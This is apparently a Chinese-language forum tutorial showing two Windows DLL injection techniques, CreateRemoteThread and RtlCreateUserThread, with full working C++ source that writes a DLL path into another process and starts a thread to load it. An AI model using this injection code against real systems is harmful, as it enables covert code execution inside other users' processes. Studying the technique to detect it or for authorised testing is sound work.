发布于2022年10月18日3年前 CreateRemoteThread远程线程调用 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 等待远程线程结束(卸载DLL) #include "stdafx.h" #include <Windows.h> int main(int argc,char *argv[]) { DWORD dwDesiredAccess= PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE; BOOL bInheritHandle=0; DWORD dwProcessId; PCWSTR dllPath = TEXT("C:\\testdll.dll"); //设置DLLL路径 int dlllen = lstrlen(dllPath); int dllbytes = dlllen * 2; //计算dll路径长度 if (argc == 2) { dwProcessId = atoi(argv[1]); } else { printf("Example:test.exe <process_id>\n"); exit(1); } HANDLE process=OpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId); //读取进程获取句柄 if (process==0){ printf("[-] OpenProcess failure,Error code:%d\n",GetLastError()); exit(1); } else { printf("[*] OpenProcess Sucess\n"); } LPVOID vallex = VirtualAllocEx(process, 0, dllbytes, MEM_COMMIT, PAGE_READWRITE); //给远程地址分配一个可以放下dll路径的内存空间 if (vallex == 0) { printf("[-] VirtualAllocEx failure,Error Code:%d\n",GetLastError()); exit(1); } else { printf("[*] VirtualAllocEx Sucess\n"); } if (!WriteProcessMemory(process, vallex, dllPath, dllbytes, 0)) { //远程内存写入 printf("[-] WriteProcessMemory failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] WriteProcessMemory Sucess\n"); } FARPROC moduleaddress = GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //获取Kernel32.dll里面LoadLibraryW函数地址 if (moduleaddress == 0) { printf("[-] GetProcAddress failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] GetProcAddress Sucess\n"); } HANDLE createthread_ = CreateRemoteThread(process, 0, 0, LPTHREAD_START_ROUTINE(moduleaddress), vallex, 0, 0); //在远程进程调用dll if (createthread_ == 0) { printf("[-] createthread failure,Error Code:%d\n", GetLastError()); exit(1); } else { printf("[*] CreateRemoteThread Sucess\n"); WaitForSingleObject(createthread_, INFINITE); //等待线程创建结束(卸载DLL) } return 0; } 注入测试 RtlCreateUserThread DLL远程注入 RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的,这个函数可以实现跨会话创建线程。唯一的问题就是:当我们在Vista 之前的操作系统调用此函数所创建的线程并没有通知给csrss 进程,它没有完整的初始化,在调用一些网络或者其它的系统函数的时候他可能返回失败,而通过CreateRemoteThread 创建的线程没有任何问题,在Vista+的操作系统上调用此函数也没有问题。因此我们需要判断系统版本,当目标系统为Vista-的时候,我们应该通过RtlCreateUserThread创建一个挂起的线程,然后调用CsrClientCallServer通知csrss 这个线程的创建,然后csrss 做相应的记录及初始化工作之后,我们再恢复线程的执行。最后,我们新创建的线程必须自己调用ExitThread退出,否则也会产生崩溃的情况。 原理: * 读取目标要注入dll的进程句柄 * 计算存储DLL路径所需要的字节数 * 为远程进程分配一个内存以存储DLL路径名称 * 复制DLL路径到远程进程 * 获取LoadLibraryW在Kernel32.dll中的地址 * 创建远程调用LoadLibraryW(在远程地址空间中)加载DLL * 在卸载的时候会此DLL #include "stdafx.h" #include <Windows.h> #include <tlhelp32.h> typedef DWORD(WINAPI * pRtlCreateUserThread)( HANDLE ProcessHandle, PSECURITY_DESCRIPTOR SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, PULONG StackReserved, PULONG StackCommit, LPVOID StartAddress, LPVOID StartParameter, HANDLE ThreadHandle, LPVOID ClientID ); DWORD findbyname(WCHAR *name) { HANDLE p; PROCESSENTRY32W p2; p = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); p2.dwSize = sizeof(PROCESSENTRY32); printf("Proces Listlen:%d\n", p2.dwSize); BOOL besult = Process32FirstW(p, &p2); int calc = 0; while (besult!=FALSE) { int pid = p2.th32ProcessID; WCHAR *processname = p2.szExeFile; if (wcscmp(processname, name) == 0) { printf("%d ", pid); wprintf(processname); printf("\n"); return pid; } besult=Process32NextW(p,&p2); calc++; } return 0; } void Errorcode() { printf(",Error Code:%d\n", GetLastError()); exit(1); } DWORD dllinject(LPCSTR dll,int pid) { HANDLE h; h = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); if (h == 0) { printf("[-] OpenProcess failure"); Errorcode(); } printf("[*] OpenProcess Sucess\n"); LPVOID moduleaddress = (LPVOID)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")),"LoadLibraryA"); if (moduleaddress == 0) { printf("[-] GetProcAddress LoadLibraryW failure"); Errorcode(); } printf("[*] GetProcAddress LoadLibraryW Address Sucess,Address=0x%x\n", moduleaddress); pRtlCreateUserThread RtlCreateUserThread = NULL; RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "RtlCreateUserThread"); if (RtlCreateUserThread == 0) { printf("[-] GetProcAddress RtlCreateUserThread failure"); Errorcode(); } printf("[*] GetProcAddress RtlCreateUserThread Address Sucess,Address=0x%x\n", RtlCreateUserThread); //DWORD dwSize = (strlen(dll) + 1) * sizeof(char); SIZE_T dwSize = strlen(dll); LPVOID vt = VirtualAllocEx(h,0, dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (vt == 0) { printf("[-] VirtualAllocEx failure"); Errorcode(); } printf("[*] VirtualAllocEx Sucess,Address=0x%x\n", vt); BOOL dlladdress = WriteProcessMemory(h, vt, dll, dwSize, 0); if (dlladdress == 0) { printf("[-] WriteProcessMemory failure"); Errorcode(); } printf("[*] WriteProcessMemory Sucess\n"); HANDLE hRemoteThread = NULL; RtlCreateUserThread(h, NULL, 0, 0, 0, 0, moduleaddress, vt,&hRemoteThread, NULL); printf("%d\n", GetLastError()); if (hRemoteThread ==0) { printf("[-] RtlCreateUserThread failure"); Errorcode(); return 1; } printf("[*] RtlCreateUserThread Sucess\n"); printf("[+] Dll Inject Sucess\n"); return 0; } int main() { WCHAR *processname = TEXT("notepad.exe"); LPCSTR dllpath = "C:\\Users\\JiuShi\\Desktop\\ABC.dll"; printf("DLL PATH:"); printf("\n"); int pid=findbyname(processname); dllinject(dllpath, pid); system("pause"); return 0; }
创建帐户或登录后发表意见